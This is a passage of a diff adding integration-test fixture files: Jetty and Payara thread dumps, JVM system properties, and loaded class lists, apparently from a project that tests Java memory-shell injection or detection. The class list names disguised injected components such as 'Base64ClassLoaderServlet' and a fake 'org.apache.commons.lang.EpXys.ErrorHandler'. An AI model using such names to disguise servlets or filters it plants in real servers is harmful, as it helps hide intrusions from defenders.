org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Scheduler-1058025095-1" #21 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d375041 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"qtp1579572132-17" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6b97cd40 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.commons.lang.EpXys.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.ChannelEndPoint$1 +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda$81/1321530272 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpChannel$$Lambda$95/1518187053 +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.ResponseWriter +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.handler.HandlerCollection +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.FilterHolder +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$Chain +org.eclipse.jetty.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.servlet.ServletHolder$NotAsync +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.EatWhatYouKill +org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter diff --git a/integration-test/src/test/resources/infos/Payara5201ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara5201ContainerTestBasicInfo.txt new file mode 100644 index 00000000..9a7056b5 --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara5201ContainerTestBasicInfo.txt @@ -0,0 +1,1880 @@ +# Generated At 2025-08-10 16:57:02 +SystemProps: +com.sun.aas.imqBin: /usr/local/payara5/mq/bin +AS_H2_INSTALL: /usr/local/payara5/glassfish/config/../../h2db +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/payara5/glassfish/domains/domain1 +javax.net.ssl.trustStorePassword: changeit +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/payara5/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/payara5/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/payara5/glassfish/lib/grizzly-npn-bootstrap-1.7.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/resources.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/rt.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/jsse.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/jce.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/charsets.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/lib/jfr.jar:/usr/lib/jvm/java-8-openjdk-arm64/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_151-8u151-b12-1~deb9u1-b12 +javax.net.ssl.keyStore: /usr/local/payara5/glassfish/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/payara5/glassfish/nodes +user.language: en +sun.boot.library.path: /usr/lib/jvm/java-8-openjdk-arm64/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/lib/jvm/java-8-openjdk-arm64/jre +AS_IMQ_LIB: /usr/local/payara5/glassfish/config/../../mq/lib +java.version: 1.8.0_151 +com.sun.aas.instanceRootURI: file:/usr/local/payara5/glassfish/domains/domain1/ +user.timezone: Etc/UTC +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/payara5/glassfish/modules/endorsed:/usr/local/payara5/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/payara5/glassfish +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +java.home: /usr/lib/jvm/java-8-openjdk-arm64/jre +felix.fileinstall.dir: /usr/local/payara5/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/payara5 +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/usr/local/payara5/glassfish/ +path.separator: : +javax.accessibility.assistive_technologies: org.GNOME.Accessibility.AtkWrapper +java.vm.version: 25.151-b12 +AS_CONFIG: /usr/local/payara5/glassfish/config/../config +jdbc.drivers: org.h2.Driver +AS_IMQ_BIN: /usr/local/payara5/glassfish/config/../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/payara5/glassfish/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: cca07b60b0a4 +awt.toolkit: sun.awt.X11.XToolkit +javax.rmi.ssl.client.enabledProtocols: TLSv1,SSLv2Hello +AS_INSTALL: /usr/local/payara5/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.configRoot: /usr/local/payara5/glassfish/config +java.specification.vendor: Oracle Corporation +java.library.path: /usr/local/payara5/glassfish/lib:/usr/java/packages/lib/aarch64:/usr/lib/aarch64-linux-gnu/jni:/lib/aarch64-linux-gnu:/usr/lib/aarch64-linux-gnu:/usr/lib/jni:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/payara5/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/usr/local/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/payara5/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose false -asadmin-classpath /usr/local/payara5/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +java.class.path: /usr/local/payara5/glassfish/modules/glassfish.jar:/usr/local/payara5/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/payara5/glassfish/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/payara5/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/payara5/glassfish/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +com.sun.aas.domainsRoot: /usr/local/payara5/glassfish/domains +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/lib/jvm/java-8-openjdk-arm64/jre/lib/ext:/usr/lib/jvm/java-8-openjdk-arm64/jre/jre/lib/ext:/usr/local/payara5/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/payara5 +com.sun.aas.instanceRoot: /usr/local/payara5/glassfish/domains/domain1 +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +glassfish.version: Payara Server 5.201 #badassfish (build 512) +java.security.auth.login.config: /usr/local/payara5/glassfish/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +fish.payara.aas.h2Root: /usr/local/payara5/h2db +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/payara5/glassfish/domains/domain1/config/cacerts.jks +JMS_PROVIDER_PORT: 7676 +javax.net.ssl.keyStorePassword: changeit +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"RMI TCP Connection(1)-192.168.215.4" #165 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.InputRecord.readFully(InputRecord.java:465) + at sun.security.ssl.InputRecord.read(InputRecord.java:503) + at sun.security.ssl.SSLSocketImpl.readRecord(SSLSocketImpl.java:983) + at sun.security.ssl.SSLSocketImpl.readDataRecord(SSLSocketImpl.java:940) + at sun.security.ssl.AppInputStream.read(AppInputStream.java:105) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:550) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$325/613784221.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"payara-executor-service-task" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32da6f30 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.InvocationMonitorThread" #69 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@689fca67 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Scheduled Executor Service" #32 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@590f011a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-23-thread-1" #174 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@532d3789 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-thread-pool::http-listener-2(2)" #102 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@1e2d0880 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.generic-operation.thread-0" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6597ec65 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.event-5" #64 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a843b8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:226) + +"fileinstall-/usr/local/payara5/glassfish/domains/domain1/autodeploy/" #161 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"hz._hzInstance_1_development.cached.thread-12" #92 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"hz._hzInstance_1_development.response-1" #41 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:283) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.run(InboundResponseHandlerSupplier.java:272) + +"pool-24-thread-1" #175 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5deac39c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-1" #68 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"FelixResolver-11" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3bb86dcb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.event-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3e0ab72f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:226) + +"hz._hzInstance_1_development.partition-operation.thread-6" #48 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"hz._hzInstance_1_development.IO.thread-in-1" #73 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:278) + at com.hazelcast.internal.networking.nio.NioThread.run(NioThread.java:235) + +"EventAdminAsyncThread #6" #157 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.scheduled.thread-" #39 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79e02ccf + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"EventAdminAsyncThread #3" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at 